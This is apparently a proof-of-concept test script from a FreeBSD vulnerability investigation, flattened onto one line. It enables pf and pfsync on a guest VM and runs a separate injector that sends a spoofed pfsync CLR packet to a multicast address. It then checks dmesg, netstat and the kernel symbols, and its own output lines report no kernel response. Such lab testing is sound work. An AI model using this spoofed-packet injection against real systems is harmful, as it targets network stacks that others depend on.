DF-0428 / run_on_guest.sh
#!/bin/sh # run_on_guest.sh — root-side demonstration. Copied to guest, run there. set +e echo "=== guest setup ===" kldstat | grep -w pf || kldload pf.ko pfctl -e 2>&1 || true ifconfig pfsync0 create 2>&1 || true echo echo "=== before injection: netstat -s protocols ===" netstat -s 2>&1 | grep -iE "^(icmp|igmp|tcp|udp|ip|pfsync|carp|ip6|icmp6)" | head echo echo "=== dmesg line count before ===" DMESG_BEFORE=$(dmesg | wc -l) echo "before=$DMESG_BEFORE" echo echo "=== inject proto-240 CLR packet (spoofed 10.0.2.99 -> 224.0.0.240) ===" /home/maxx/poc/DF-0428/inject_pfsync 10.0.2.99 224.0.0.240 0xdeadbeef sleep 2 echo echo "=== dmesg after (UNCHANGED = no kernel response) ===" DMESG_AFTER=$(dmesg | wc -l) echo "after=$DMESG_AFTER" dmesg | tail -3 echo echo "=== netstat -s protocols after (still NO pfsync => handler not registered) ===" netstat -s 2>&1 | grep -iE "^(icmp|igmp|tcp|udp|ip|pfsync|carp|ip6|icmp6)" | head echo echo "=== nm static kernel: pfsync_input present? ===" nm /boot/kernel/kernel.debug 2>/dev/null | grep -w pfsync_input || echo "pfsync_input: ABSENT from static kernel" |